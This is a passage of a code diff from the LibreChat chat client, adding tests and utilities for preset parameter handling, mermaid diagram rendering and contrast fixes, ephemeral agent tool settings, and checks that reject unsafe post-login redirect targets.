'gpt-4.1']; + + it('should preserve OpenAI fields and strip anthropic fields', () => { + const preset: TConversation = { + ...baseConversation, + endpoint: 'MyOpenRouterEndpoint' as EModelEndpoint, + endpointType: EModelEndpoint.custom, + model: 'gpt-4o', + temperature: 0.7, + max_tokens: 4096, + top_p: 0.9, + maxOutputTokens: 8192, + }; + + const result = buildDefaultConvo({ + models, + conversation: baseConversation, + endpoint: 'MyOpenRouterEndpoint' as EModelEndpoint, + lastConversationSetup: preset, + }); + + expect(result.max_tokens).toBe(4096); + expect(result.top_p).toBe(0.9); + expect(result.temperature).toBe(0.7); + expect(result.maxOutputTokens).toBeUndefined(); + }); + }); + + describe('custom endpoint with defaultParamsEndpoint: google', () => { + const models = ['gemini-pro', 'gemini-1.5-pro']; + + it('should preserve Google-specific fields', () => { + const preset: TConversation = { + ...baseConversation, + endpoint: 'MyGoogleEndpoint' as EModelEndpoint, + endpointType: EModelEndpoint.custom, + model: 'gemini-pro', + temperature: 0.7, + maxOutputTokens: 8192, + topP: 0.9, + topK: 40, + }; + + const result = buildDefaultConvo({ + models, + conversation: baseConversation, + endpoint: 'MyGoogleEndpoint' as EModelEndpoint, + lastConversationSetup: preset, + defaultParamsEndpoint: EModelEndpoint.google, + }); + + expect(result.maxOutputTokens).toBe(8192); + expect(result.topP).toBe(0.9); + expect(result.topK).toBe(40); + }); + }); + + describe('cross-endpoint field isolation', () => { + it('should not carry bedrock region to a custom endpoint', () => { + const preset: TConversation = { + ...baseConversation, + endpoint: 'MyChatEndpoint' as EModelEndpoint, + endpointType: EModelEndpoint.custom, + model: 'gpt-4o', + temperature: 0.7, + region: 'us-east-1', + }; + + const result = buildDefaultConvo({ + models: ['gpt-4o'], + conversation: baseConversation, + endpoint: 'MyChatEndpoint' as EModelEndpoint, + lastConversationSetup: preset, + }); + + expect(result.region).toBeUndefined(); + expect(result.temperature).toBe(0.7); + }); + + it('should not carry bedrock region even with anthropic defaultParamsEndpoint', () => { + const preset: TConversation = { + ...baseConversation, + endpoint: 'MyChatEndpoint' as EModelEndpoint, + endpointType: EModelEndpoint.custom, + model: 'claude-3-opus', + region: 'us-east-1', + maxOutputTokens: 8192, + }; + + const result = buildDefaultConvo({ + models: ['claude-3-opus'], + conversation: baseConversation, + endpoint: 'MyChatEndpoint' as EModelEndpoint, + lastConversationSetup: preset, + defaultParamsEndpoint: EModelEndpoint.anthropic, + }); + + expect(result.region).toBeUndefined(); + expect(result.maxOutputTokens).toBe(8192); + }); + }); +}); diff --git a/client/src/utils/__tests__/cleanupPreset.integration.test.ts b/client/src/utils/__tests__/cleanupPreset.integration.test.ts new file mode 100644 index 0000000000..1e1219bc7a --- /dev/null +++ b/client/src/utils/__tests__/cleanupPreset.integration.test.ts @@ -0,0 +1,119 @@ +import { EModelEndpoint } from 'librechat-data-provider'; +import cleanupPreset from '../cleanupPreset'; + +/** + * Integration tests for cleanupPreset — NO mocks. + * Uses the real parseConvo to verify actual schema behavior + * with defaultParamsEndpoint for custom endpoints. + */ +describe('cleanupPreset - real parsing with defaultParamsEndpoint', () => { + it('should preserve maxOutputTokens when defaultParamsEndpoint is anthropic', () => { + const preset = { + presetId: 'test-id', + title: 'Claude Opus', + endpoint: 'AnthropicClaude', + endpointType: EModelEndpoint.custom, + model: 'anthropic/claude-opus-4.5', + temperature: 0.7, + maxOutputTokens: 8192, + topP: 0.9, + maxContextTokens: 50000, + }; + + const result = cleanupPreset({ + preset, + defaultParamsEndpoint: EModelEndpoint.anthropic, + }); + + expect(result.maxOutputTokens).toBe(8192); + expect(result.topP).toBe(0.9); + expect(result.temperature).toBe(0.7); + expect(result.maxContextTokens).toBe(50000); + expect(result.model).toBe('anthropic/claude-opus-4.5'); + }); + + it('should strip maxOutputTokens without defaultParamsEndpoint (OpenAI schema)', () => { + const preset = { + presetId: 'test-id', + title: 'GPT Custom', + endpoint: 'MyOpenRouter', + endpointType: EModelEndpoint.custom, + model: 'gpt-4o', + temperature: 0.7, + maxOutputTokens: 8192, + max_tokens: 4096, + }; + + const result = cleanupPreset({ preset }); + + expect(result.maxOutputTokens).toBeUndefined(); + expect(result.max_tokens).toBe(4096); + expect(result.temperature).toBe(0.7); + }); + + it('should strip OpenAI-specific fields when using anthropic params', () => { + const preset = { + presetId: 'test-id', + title: 'Claude Custom', + endpoint: 'AnthropicClaude', + endpointType: EModelEndpoint.custom, + model: 'anthropic/claude-3-opus', + max_tokens: 4096, + top_p: 0.9, + presence_penalty: 0.5, + frequency_penalty: 0.3, + temperature: 0.7, + }; + + const result = cleanupPreset({ + preset, + defaultParamsEndpoint: EModelEndpoint.anthropic, + }); + + expect(result.max_tokens).toBeUndefined(); + expect(result.top_p).toBeUndefined(); + expect(result.presence_penalty).toBeUndefined(); + expect(result.frequency_penalty).toBeUndefined(); + expect(result.temperature).toBe(0.7); + }); + + it('should not carry bedrock region to custom endpoint', () => { + const preset = { + presetId: 'test-id', + title: 'Custom', + endpoint: 'MyEndpoint', + endpointType: EModelEndpoint.custom, + model: 'gpt-4o', + temperature: 0.7, + region: 'us-east-1', + }; + + const result = cleanupPreset({ preset }); + + expect(result.region).toBeUndefined(); + expect(result.temperature).toBe(0.7); + }); + + it('should preserve Google-specific fields when defaultParamsEndpoint is google', () => { + const preset = { + presetId: 'test-id', + title: 'Gemini Custom', + endpoint: 'MyGoogleEndpoint', + endpointType: EModelEndpoint.custom, + model: 'gemini-pro', + temperature: 0.7, + maxOutputTokens: 8192, + topP: 0.9, + topK: 40, + }; + + const result = cleanupPreset({ + preset, + defaultParamsEndpoint: EModelEndpoint.google, + }); + + expect(result.maxOutputTokens).toBe(8192); + expect(result.topP).toBe(0.9); + expect(result.topK).toBe(40); + }); +}); diff --git a/client/src/utils/__tests__/cleanupPreset.test.ts b/client/src/utils/__tests__/cleanupPreset.test.ts index a03477de15..766bb872ac 100644 --- a/client/src/utils/__tests__/cleanupPreset.test.ts +++ b/client/src/utils/__tests__/cleanupPreset.test.ts @@ -1,12 +1,9 @@ -import { EModelEndpoint } from 'librechat-data-provider'; +import { EModelEndpoint, parseConvo } from 'librechat-data-provider'; import cleanupPreset from '../cleanupPreset'; -import type { TPreset } from 'librechat-data-provider'; - // Mock parseConvo since we're focusing on testing the chatGptLabel migration logic jest.mock('librechat-data-provider', () => ({ ...jest.requireActual('librechat-data-provider'), parseConvo: jest.fn((input) => { - // Return a simplified mock that passes through most properties const { conversation } = input; return { ...conversation, @@ -221,4 +218,41 @@ describe('cleanupPreset', () => { expect(result.presetId).toBeNull(); }); }); + + describe('defaultParamsEndpoint threading', () => { + it('should pass defaultParamsEndpoint to parseConvo', () => { + const preset = { + ...basePreset, + endpoint: 'MyCustomEndpoint', + endpointType: EModelEndpoint.custom, + }; + + cleanupPreset({ + preset, + defaultParamsEndpoint: EModelEndpoint.anthropic, + }); + + expect(parseConvo).toHaveBeenCalledWith( + expect.objectContaining({ + defaultParamsEndpoint: EModelEndpoint.anthropic, + }), + ); + }); + + it('should pass undefined defaultParamsEndpoint when not provided', () => { + const preset = { + ...basePreset, + endpoint: 'MyCustomEndpoint', + endpointType: EModelEndpoint.custom, + }; + + cleanupPreset({ preset }); + + expect(parseConvo).toHaveBeenCalledWith( + expect.objectContaining({ + defaultParamsEndpoint: undefined, + }), + ); + }); + }); }); diff --git a/client/src/utils/__tests__/mermaid.test.ts b/client/src/utils/__tests__/mermaid.test.ts new file mode 100644 index 0000000000..eb34c2c0f8 --- /dev/null +++ b/client/src/utils/__tests__/mermaid.test.ts @@ -0,0 +1,172 @@ +import { + fixSubgraphTitleContrast, + artifactFlowchartConfig, + inlineFlowchartConfig, + getMermaidFiles, +} from '~/utils/mermaid'; + +const makeSvg = (clusters: string): Element => { + const parser = new DOMParser(); + const doc = parser.parseFromString( + `${clusters}`, + 'image/svg+xml', + ); + return doc.querySelector('svg')!; +}; + +describe('mermaid config', () => { + describe('flowchart config invariants', () => { + it('inlineFlowchartConfig must have htmlLabels: false for blob URL rendering', () => { + expect(inlineFlowchartConfig.htmlLabels).toBe(false); + }); + + it('artifactFlowchartConfig must have htmlLabels: true for direct DOM injection', () => { + expect(artifactFlowchartConfig.htmlLabels).toBe(true); + }); + + it('both configs share the same base layout settings', () => { + expect(inlineFlowchartConfig.curve).toBe(artifactFlowchartConfig.curve); + expect(inlineFlowchartConfig.nodeSpacing).toBe(artifactFlowchartConfig.nodeSpacing); + expect(inlineFlowchartConfig.rankSpacing).toBe(artifactFlowchartConfig.rankSpacing); + expect(inlineFlowchartConfig.padding).toBe(artifactFlowchartConfig.padding); + }); + }); + + describe('getMermaidFiles', () => { + const content = 'graph TD\n A-->B'; + + it('produces dark theme files when isDarkMode is true', () => { + const files = getMermaidFiles(content, true); + expect(files['/components/ui/MermaidDiagram.tsx']).toContain('theme: "dark"'); + expect(files['mermaid.css']).toContain('#212121'); + }); + + it('produces neutral theme files when isDarkMode is false', () => { + const files = getMermaidFiles(content, false); + expect(files['/components/ui/MermaidDiagram.tsx']).toContain('theme: "neutral"'); + expect(files['mermaid.css']).toContain('#FFFFFF'); + }); + + it('defaults to dark mode when isDarkMode is omitted', () => { + const files = getMermaidFiles(content); + expect(files['/components/ui/MermaidDiagram.tsx']).toContain('theme: "dark"'); + }); + + it('includes securityLevel in generated component', () => { + const files = getMermaidFiles(content, true); + expect(files['/components/ui/MermaidDiagram.tsx']).toContain('securityLevel: "strict"'); + }); + + it('includes all required file keys', () => { + const files = getMermaidFiles(content, true); + expect(files['diagram.mmd']).toBe(content); + expect(files['App.tsx']).toBeDefined(); + expect(files['index.tsx']).toBeDefined(); + expect(files['/components/ui/MermaidDiagram.tsx']).toBeDefined(); + expect(files['mermaid.css']).toBeDefined(); + }); + + it('uses artifact flowchart config with htmlLabels: true', () => { + const files = getMermaidFiles(content, true); + expect(files['/components/ui/MermaidDiagram.tsx']).toContain('"htmlLabels": true'); + }); + + it('does not inject custom themeVariables into generated component', () => { + const darkFiles = getMermaidFiles(content, true); + const lightFiles = getMermaidFiles(content, false); + expect(darkFiles['/components/ui/MermaidDiagram.tsx']).not.toContain('themeVariables'); + expect(lightFiles['/components/ui/MermaidDiagram.tsx']).not.toContain('themeVariables'); + }); + + it('handles empty content', () => { + const files = getMermaidFiles('', true); + expect(files['diagram.mmd']).toBe('# No mermaid diagram content provided'); + }); + }); + + describe('fixSubgraphTitleContrast', () => { + it('darkens title text on light subgraph backgrounds (fill attribute)', () => { + const svg = makeSvg( + 'Title', + ); + fixSubgraphTitleContrast(svg); + expect(svg.querySelector('text')!.getAttribute('style')).toContain('fill: #1a1a1a'); + }); + + it('darkens title text on light subgraph backgrounds (inline style fill)', () => { + const svg = makeSvg( + 'Title', + ); + fixSubgraphTitleContrast(svg); + expect(svg.querySelector('text')!.getAttribute('style')).toContain('fill: #1a1a1a'); + }); + + it('lightens title text on dark subgraph backgrounds', () => { + const svg = makeSvg( + 'Title', + ); + fixSubgraphTitleContrast(svg); + expect(svg.querySelector('text')!.getAttribute('style')).toContain('fill: #f0f0f0'); + }); + + it('leaves title text alone when contrast is already good', () => { + const svg = makeSvg( + 'Title', + ); + fixSubgraphTitleContrast(svg); + expect(svg.querySelector('text')!.getAttribute('style')).toBeNull(); + }); + + it('skips clusters without a rect', () => { + const svg = makeSvg( + 'Title', + ); + fixSubgraphTitleContrast(svg); + expect(svg.querySelector('text')!.getAttribute('style')).toBeNull(); + }); + + it('skips clusters with non-hex fills', () => { + const svg = makeSvg( + 'Title', + ); + fixSubgraphTitleContrast(svg); + expect(svg.querySelector('text')!.getAttribute('style')).toBeNull(); + }); + + it('sets dark fill when text has no explicit fill on light backgrounds', () => { + const svg = makeSvg( + 'Title', + ); + fixSubgraphTitleContrast(svg); + expect(svg.querySelector('text')!.getAttribute('style')).toContain('fill: #1a1a1a'); + }); + + it('preserves existing text style when appending fill override', () => { + const svg = makeSvg( + 'Title', + ); + fixSubgraphTitleContrast(svg); + const style = svg.querySelector('text')!.getAttribute('style')!; + expect(style).toContain('font-size: 14px'); + expect(style).toContain('fill: #1a1a1a'); + }); + + it('handles 3-char hex shorthand fills', () => { + const svg = makeSvg( + 'Title', + ); + fixSubgraphTitleContrast(svg); + expect(svg.querySelector('text')!.getAttribute('style')).toContain('fill: #1a1a1a'); + }); + + it('avoids double semicolons when existing style has trailing semicolon', () => { + const svg = makeSvg( + 'Title', + ); + fixSubgraphTitleContrast(svg); + const style = svg.querySelector('text')!.getAttribute('style')!; + expect(style).not.toContain(';;'); + expect(style).toContain('fill: #1a1a1a'); + }); + }); +}); diff --git a/client/src/utils/__tests__/redirect.test.ts b/client/src/utils/__tests__/redirect.test.ts new file mode 100644 index 0000000000..6715608c0c --- /dev/null +++ b/client/src/utils/__tests__/redirect.test.ts @@ -0,0 +1,184 @@ +import { + persistRedirectToSession, + getPostLoginRedirect, + isSafeRedirect, + SESSION_KEY, +} from '../redirect'; + +describe('isSafeRedirect', () => { + it('accepts a simple relative path', () => { + expect(isSafeRedirect('/c/new')).toBe(true); + }); + + it('accepts a path with query params and hash', () => { + expect(isSafeRedirect('/c/new?q=hello&submit=true#section')).toBe(true); + }); + + it('accepts a nested path', () => { + expect(isSafeRedirect('/dashboard/settings/profile')).toBe(true); + }); + + it('rejects an absolute http URL', () => { + expect(isSafeRedirect('https://evil.com')).toBe(false); + }); + + it('rejects an absolute http URL with path', () => { + expect(isSafeRedirect('https://evil.com/phishing')).toBe(false); + }); + + it('rejects a protocol-relative URL', () => { + expect(isSafeRedirect('//evil.com')).toBe(false); + }); + + it('rejects a bare domain', () => { + expect(isSafeRedirect('evil.com')).toBe(false); + }); + + it('rejects an empty string', () => { + expect(isSafeRedirect('')).toBe(false); + }); + + it('rejects /login to prevent redirect loops', () => { + expect(isSafeRedirect('/login')).toBe(false); + }); + + it('rejects /login with query params', () => { + expect(isSafeRedirect('/login?redirect_to=/c/new')).toBe(false); + }); + + it('rejects /login sub-paths', () => { + expect(isSafeRedirect('/login/2fa')).toBe(false); + }); + + it('rejects /login with hash', () => { + expect(isSafeRedirect('/login#foo')).toBe(false); + }); + + it('accepts the root path', () => { + expect(isSafeRedirect('/')).toBe(true); + }); +}); + +describe('getPostLoginRedirect', () => { + beforeEach(() => { + sessionStorage.clear(); + }); + + it('returns the redirect_to param when valid', () => { + const params = new URLSearchParams('redirect_to=%2Fc%2Fnew'); + expect(getPostLoginRedirect(params)).toBe('/c/new'); + }); + + it('falls back to sessionStorage when no URL param', () => { + sessionStorage.setItem(SESSION_KEY, '/c/abc123'); + const params = new URLSearchParams(); + expect(getPostLoginRedirect(params)).toBe('/c/abc123'); + }); + + it('prefers URL param over sessionStorage', () => { + sessionStorage.setItem(SESSION_KEY, '/c/old'); + const params = new URLSearchParams('redirect_to=%2Fc%2Fnew'); + expect(getPostLoginRedirect(params)).toBe('/c/new'); + }); + + it('clears sessionStorage after reading', () => { + sessionStorage.setItem(SESSION_KEY, '/c/abc123'); + const params = new URLSearchParams(); + getPostLoginRedirect(params); + expect(sessionStorage.getItem(SESSION_KEY)).toBeNull(); + }); + + it('returns null when no redirect source exists', () => { + const params = new URLSearchParams(); + expect(getPostLoginRedirect(params)).toBeNull(); + }); + + it('rejects an absolute URL from params', () => { + const params = new URLSearchParams('redirect_to=https%3A%2F%2Fevil.com'); + expect(getPostLoginRedirect(params)).toBeNull(); + }); + + it('rejects a protocol-relative URL from params', () => { + const params = new URLSearchParams('redirect_to=%2F%2Fevil.com'); + expect(getPostLoginRedirect(params)).toBeNull(); + }); + + it('rejects an absolute URL from sessionStorage', () => { + sessionStorage.setItem(SESSION_KEY, 'https://evil.com'); + const params = new URLSearchParams(); + expect(getPostLoginRedirect(params)).toBeNull(); + }); + + it('rejects /login redirect to prevent loops', () => { + const params = new URLSearchParams('redirect_to=%2Flogin'); + expect(getPostLoginRedirect(params)).toBeNull(); + }); + + it('rejects /login sub-path redirect', () => { + const params = new URLSearchParams('redirect_to=%2Flogin%2F2fa'); + expect(getPostLoginRedirect(params)).toBeNull(); + }); + + it('still clears sessionStorage even when target is unsafe', () => { + sessionStorage.setItem(SESSION_KEY, 'https://evil.com'); + const params = new URLSearchParams(); + getPostLoginRedirect(params); + expect(sessionStorage.getItem(SESSION_KEY)).toBeNull(); + }); +}); + +describe('login error redirect_to preservation (AuthContext onError pattern)', () => { + /** Mirrors the logic in AuthContext.tsx loginUser.onError */ + function buildLoginErrorPath(search: string): string { + const redirectTo = new URLSearchParams(search).get('redirect_to'); + return redirectTo && isSafeRedirect(redirectTo) + ? `/login?redirect_to=${encodeURIComponent(redirectTo)}` + : '/login'; + } + + it('preserves a valid redirect_to across login failure', () => { + const result = buildLoginErrorPath('?redirect_to=%2Fc%2Fnew'); + expect(result).toBe('/login?redirect_to=%2Fc%2Fnew'); + }); + + it('drops an open-redirect attempt (absolute URL)', () => { + const result = buildLoginErrorPath('?redirect_to=https%3A%2F%2Fevil.com'); + expect(result).toBe('/login'); + }); + + it('drops a /login redirect_to to prevent loops', () => { + const result = buildLoginErrorPath('?redirect_to=%2Flogin'); + expect(result).toBe('/login'); + }); + + it('returns plain /login when no redirect_to param exists', () => { + const result = buildLoginErrorPath(''); + expect(result).toBe('/login'); + }); +}); + +describe('persistRedirectToSession', () => { + beforeEach(() => { + sessionStorage.clear(); + }); + + it('stores a valid relative path', () => { + persistRedirectToSession('/c/new?q=hello'); + expect(sessionStorage.getItem(SESSION_KEY)).toBe('/c/new?q=hello'); + }); + + it('rejects an absolute URL', () => { + persistRedirectToSession('https://evil.com'); + expect(sessionStorage.getItem(SESSION_KEY)).toBeNull(); + }); + + it('rejects a protocol-relative URL', () => { + persistRedirectToSession('//evil.com'); + expect(sessionStorage.getItem(SESSION_KEY)).toBeNull(); + }); + + it('rejects /login paths', () => { + persistRedirectToSession('/login?redirect_to=/c/new'); + expect(sessionStorage.getItem(SESSION_KEY)).toBeNull(); + }); +}); diff --git a/client/src/utils/artifacts.ts b/client/src/utils/artifacts.ts index a1caf8c07e..13f3a23b47 100644 --- a/client/src/utils/artifacts.ts +++ b/client/src/utils/artifacts.ts @@ -7,6 +7,7 @@ import type { const artifactFilename = { 'application/vnd.react': 'App.tsx', + 'application/vnd.ant.react': 'App.tsx', 'text/html': 'index.html', 'application/vnd.code-html': 'index.html', // mermaid and markdown types are handled separately in useArtifactProps.ts @@ -28,6 +29,7 @@ const artifactTemplate: Record< > = { 'text/html': 'static', 'application/vnd.react': 'react-ts', + 'application/vnd.ant.react': 'react-ts', 'application/vnd.mermaid': 'react-ts', 'application/vnd.code-html': 'static', 'text/markdown': 'react-ts', @@ -119,6 +121,7 @@ const dependenciesMap: Record< > = { 'application/vnd.mermaid': mermaidDependencies, 'application/vnd.react': standardDependencies, + 'application/vnd.ant.react': standardDependencies, 'text/html': standardDependencies, 'application/vnd.code-html': standardDependencies, 'text/markdown': markdownDependencies, diff --git a/client/src/utils/buildDefaultConvo.ts b/client/src/utils/buildDefaultConvo.ts index 025bec24eb..c2d2871912 100644 --- a/client/src/utils/buildDefaultConvo.ts +++ b/client/src/utils/buildDefaultConvo.ts @@ -14,11 +14,13 @@ const buildDefaultConvo = ({ conversation, endpoint = null, lastConversationSetup, + defaultParamsEndpoint, }: { models: string[]; conversation: TConversation; endpoint?: EModelEndpoint | null; lastConversationSetup: TConversation | null; + defaultParamsEndpoint?: string | null; }): TConversation => { const { lastSelectedModel, lastSelectedTools } = getLocalStorageItems(); const endpointType = lastConversationSetup?.endpointType ?? conversation.endpointType; @@ -49,6 +51,7 @@ const buildDefaultConvo = ({ possibleValues: { models: possibleModels, }, + defaultParamsEndpoint, }); const defaultConvo = { diff --git a/client/src/utils/cleanupPreset.ts b/client/src/utils/cleanupPreset.ts index c158d935fa..ad44726064 100644 --- a/client/src/utils/cleanupPreset.ts +++ b/client/src/utils/cleanupPreset.ts @@ -4,9 +4,10 @@ import type { TPreset } from 'librechat-data-provider'; type UIPreset = Partial & { presetOverride?: Partial }; type TCleanupPreset = { preset?: UIPreset; + defaultParamsEndpoint?: string | null; }; -const cleanupPreset = ({ preset: _preset }: TCleanupPreset): TPreset => { +const cleanupPreset = ({ preset: _preset, defaultParamsEndpoint }: TCleanupPreset): TPreset => { const { endpoint, endpointType } = _preset ?? ({} as UIPreset); if (endpoint == null || endpoint === '') { console.error(`Unknown endpoint ${endpoint}`, _preset); @@ -35,8 +36,13 @@ const cleanupPreset = ({ preset: _preset }: TCleanupPreset): TPreset => { delete preset.chatGptLabel; } - /* @ts-ignore: endpoint can be a custom defined name */ - const parsedPreset = parseConvo({ endpoint, endpointType, conversation: preset }); + const parsedPreset = parseConvo({ + /* @ts-ignore: endpoint can be a custom defined name */ + endpoint, + endpointType, + conversation: preset, + defaultParamsEndpoint, + }); return { presetId: _preset?.presetId ?? null, diff --git a/client/src/utils/createChatSearchParams.ts b/client/src/utils/createChatSearchParams.ts index 4e59b20507..64d327f43f 100644 --- a/client/src/utils/createChatSearchParams.ts +++ b/client/src/utils/createChatSearchParams.ts @@ -1,11 +1,65 @@ import { + EModelEndpoint, isAgentsEndpoint, tQueryParamsSchema, isAssistantsEndpoint, } from 'librechat-data-provider'; -import type { TConversation, TPreset } from 'librechat-data-provider'; +import type { TPreset, TConversation } from 'librechat-data-provider'; +import type { ZodAny } from 'zod'; import { isEphemeralAgent } from '~/common'; +const parseQueryValue = (value: string) => { + if (value === 'true') { + return true; + } + if (value === 'false') { + return false; + } + if (!isNaN(Number(value))) { + return Number(value); + } + return value; +}; + +/** + * Processes and validates URL query parameters using schema definitions. + * Extracts valid settings based on tQueryParamsSchema and handles special endpoint cases + * for assistants and agents. + */ +export function processValidSettings(queryParams: Record) { + const validSettings = {} as TPreset; + + for (const [key, value] of Object.entries(queryParams)) { + try { + const schema = tQueryParamsSchema.shape[key] as ZodAny | undefined; + if (schema) { + const parsedValue = parseQueryValue(value); + const validValue = schema.parse(parsedValue); + validSettings[key] = validValue; + } + } catch (error) { + console.warn(`Invalid value for setting ${key}:`, error); + } + } + + if ( + validSettings.assistant_id != null && + validSettings.assistant_id && + !isAssistantsEndpoint(validSettings.endpoint) + ) { + validSettings.endpoint = EModelEndpoint.assistants; + } + if ( + validSettings.agent_id != null && + validSettings.agent_id && + !isAgentsEndpoint(validSettings.endpoint) + ) { + validSettings.endpoint = EModelEndpoint.agents; + } + + return validSettings; +} + const allowedParams = Object.keys(tQueryParamsSchema.shape); export default function createChatSearchParams( input: TConversation | TPreset | Record | null, diff --git a/client/src/utils/endpoints.ts b/client/src/utils/endpoints.ts index eb9e60386f..33aa7a8525 100644 --- a/client/src/utils/endpoints.ts +++ b/client/src/utils/endpoints.ts @@ -11,6 +11,7 @@ import { } from 'librechat-data-provider'; import type * as t from 'librechat-data-provider'; import type { LocalizeFunction, IconsRecord } from '~/common'; +import { getTimestampedValue } from './timestamps'; /** * Clears model for non-ephemeral agent conversations. @@ -219,12 +220,51 @@ export function applyModelSpecEphemeralAgent({ if (!modelSpec || !updateEphemeralAgent) { return; } - updateEphemeralAgent((convoId ?? Constants.NEW_CONVO) || Constants.NEW_CONVO, { - mcp: modelSpec.mcpServers ?? [Constants.mcp_clear as string], + const key = (convoId ?? Constants.NEW_CONVO) || Constants.NEW_CONVO; + const agent: t.TEphemeralAgent = { + mcp: modelSpec.mcpServers ?? [], web_search: modelSpec.webSearch ?? false, file_search: modelSpec.fileSearch ?? false, execute_code: modelSpec.executeCode ?? false, - }); + artifacts: modelSpec.artifacts === true ? 'default' : modelSpec.artifacts || '', + }; + + // For existing conversations, layer per-conversation localStorage overrides + // on top of spec defaults so user modifications persist across navigation. + // If localStorage is empty (e.g., cleared), spec values stand alone. + if (key !== Constants.NEW_CONVO) { + const toolStorageMap: Array<[keyof t.TEphemeralAgent, string]> = [ + ['execute_code', LocalStorageKeys.LAST_CODE_TOGGLE_], + ['web_search', LocalStorageKeys.LAST_WEB_SEARCH_TOGGLE_], + ['file_search', LocalStorageKeys.LAST_FILE_SEARCH_TOGGLE_], + ['artifacts', LocalStorageKeys.LAST_ARTIFACTS_TOGGLE_], + ]; + + for (const [toolKey, storagePrefix] of toolStorageMap) { + const raw = getTimestampedValue(`${storagePrefix}${key}`); + if (raw !== null) { + try { + agent[toolKey] = JSON.parse(raw) as never; + } catch { + // ignore parse errors + } + } + } + + const mcpRaw = localStorage.getItem(`${LocalStorageKeys.LAST_MCP_}${key}`); + if (mcpRaw !== null) { + try { + const parsed = JSON.parse(mcpRaw); + if (Array.isArray(parsed)) { + agent.mcp = parsed; + } + } catch { + // ignore parse errors + } + } + } + + updateEphemeralAgent(key, agent); } /** diff --git a/client/src/utils/errors.ts b/client/src/utils/errors.ts new file mode 100644 index 0000000000..04666c5313 --- /dev/null +++ b/client/src/utils/errors.ts @@ -0,0 +1,21 @@ +import axios from 'axios'; + +/** + * Returns the HTTP response status code from an error, regardless of the + * HTTP client used. Handles Axios errors first, then falls back to checking + * for a plain `status` property so callers never need to import axios. + */ +export const getResponseStatus = (error: unknown): number | undefined => { + if (axios.isAxiosError(error)) { + return error.response?.status; + } + if (error != null && typeof error === 'object' && 'status' in error) { + const { status } = error as { status: unknown }; + if (typeof status === 'number') { + return status; + } + } + return undefined; +}; + +export const isNotFoundError = (error: unknown): boolean => getResponseStatus(error) === 404; diff --git a/client/src/utils/index.ts b/client/src/utils/index.ts index eede48f244..dae075b471 100644 --- a/client/src/utils/index.ts +++ b/client/src/utils/index.ts @@ -3,6 +3,7 @@ import type { UIActionResult } from '@mcp-ui/client'; import { TAskFunction } from '~/common'; import logger from './logger'; +export * from './errors'; export * from './map'; export * from './json'; export * from './files'; @@ -12,6 +13,7 @@ export * from './agents'; export * from './drafts'; export * from './convos'; export * from './routes'; +export * from './redirect'; export * from './presets'; export * from './prompts'; export * from './textarea'; @@ -22,17 +24,17 @@ export * from './resources'; export * from './roles'; export * from './localStorage'; export * from './promptGroups'; +export * from './previewCache'; export * from './email'; export * from './share'; export * from './timestamps'; export { default as cn } from './cn'; export { default as logger } from './logger'; -export { default as scaleImage } from './scaleImage'; export { default as getLoginError } from './getLoginError'; export { default as cleanupPreset } from './cleanupPreset'; export { default as buildDefaultConvo } from './buildDefaultConvo'; export { default as getDefaultEndpoint } from './getDefaultEndpoint'; -export { default as createChatSearchParams } from './createChatSearchParams'; +export { default as createChatSearchParams, processValidSettings } from './createChatSearchParams'; export { getThemeFromEnv } from './getThemeFromEnv'; export const languages = [ diff --git a/client/src/utils/mermaid.ts b/client/src/utils/mermaid.ts index 7930d9ab1e..60ea96ee55 100644 --- a/client/src/utils/mermaid.ts +++ b/client/src/utils/mermaid.ts @@ -1,15 +1,157 @@ import dedent from 'dedent'; -const mermaid = dedent(`import React, { useEffect, useRef, useState } from "react"; +interface MermaidButtonStyles { + bg: string; + bgHover: string; + border: string; + text: string; + textSecondary: string; + shadow: string; + divider: string; +} + +const darkButtonStyles: MermaidButtonStyles = { + bg: 'rgba(40, 40, 40, 0.95)', + bgHover: 'rgba(60, 60, 60, 0.95)', + border: '1px solid rgba(255, 255, 255, 0.1)', + text: '#D1D5DB', + textSecondary: '#9CA3AF', + shadow: '0 2px 8px rgba(0, 0, 0, 0.4)', + divider: 'rgba(255, 255, 255, 0.1)', +}; + +const lightButtonStyles: MermaidButtonStyles = { + bg: 'rgba(255, 255, 255, 0.95)', + bgHover: 'rgba(243, 244, 246, 0.95)', + border: '1px solid rgba(0, 0, 0, 0.1)', + text: '#374151', + textSecondary: '#6B7280', + shadow: '0 2px 8px rgba(0, 0, 0, 0.1)', + divider: 'rgba(0, 0, 0, 0.1)', +}; + +const getButtonStyles = (isDarkMode: boolean): MermaidButtonStyles => + isDarkMode ? darkButtonStyles : lightButtonStyles; + +const baseFlowchartConfig = { + curve: 'basis' as const, + nodeSpacing: 50, + rankSpacing: 50, + diagramPadding: 8, + useMaxWidth: true, + padding: 15, + wrappingWidth: 200, +}; + +/** Artifact renderer injects SVG directly into the DOM where foreignObject works */ +const artifactFlowchartConfig = { + ...baseFlowchartConfig, + htmlLabels: true, +}; + +/** Inline renderer converts SVG to a blob URL ; browsers block foreignObject in that context */ +const inlineFlowchartConfig = { + ...baseFlowchartConfig, + htmlLabels: false, +}; + +export { inlineFlowchartConfig, artifactFlowchartConfig }; + +/** Perceived luminance (0 = black, 1 = white) via BT.601 luma coefficients */ +const hexLuminance = (hex: string): number => { + let h = hex.replace('#', ''); + if (h.length === 3) { + h = h[0] + h[0] + h[1] + h[1] + h[2] + h[2]; + } + if (h.length < 6) { + return -1; + } + const r = parseInt(h.slice(0, 2), 16) / 255; + const g = parseInt(h.slice(2, 4), 16) / 255; + const b = parseInt(h.slice(4, 6), 16) / 255; + return 0.299 * r + 0.587 * g + 0.114 * b; +}; + +/** + * Fixes subgraph title text contrast in mermaid SVGs rendered with htmlLabels: false. + * When a subgraph has an explicit light fill via `style` directives, the title + * gets its fill from a CSS rule (.cluster-label text / .cluster text) set to titleColor. + * In dark mode, titleColor is light, producing invisible text on light backgrounds. + * This walks cluster groups and overrides the text fill attribute when contrast is poor. + */ +export const fixSubgraphTitleContrast = (svgElement: Element): void => { + const clusters = svgElement.querySelectorAll('g.cluster'); + for (const cluster of clusters) { + const rect = cluster.querySelector(':scope > rect, :scope > polygon'); + if (!rect) { + continue; + } + + const inlineStyle = rect.getAttribute('style') || ''; + const attrFill = rect.getAttribute('fill') || ''; + const styleFillMatch = inlineStyle.match(/fill\s*:\s*(#[0-9a-fA-F]{3,8})/); + const hex = styleFillMatch?.[1] ?? (attrFill.startsWith('#') ? attrFill : ''); + if (!hex) { + continue; + } + + const bgLum = hexLuminance(hex); + if (bgLum < 0) { + continue; + } + + const textElements = cluster.querySelectorAll( + ':scope > g.cluster-label text, :scope > text, :scope > g > text', + ); + for (const textEl of textElements) { + 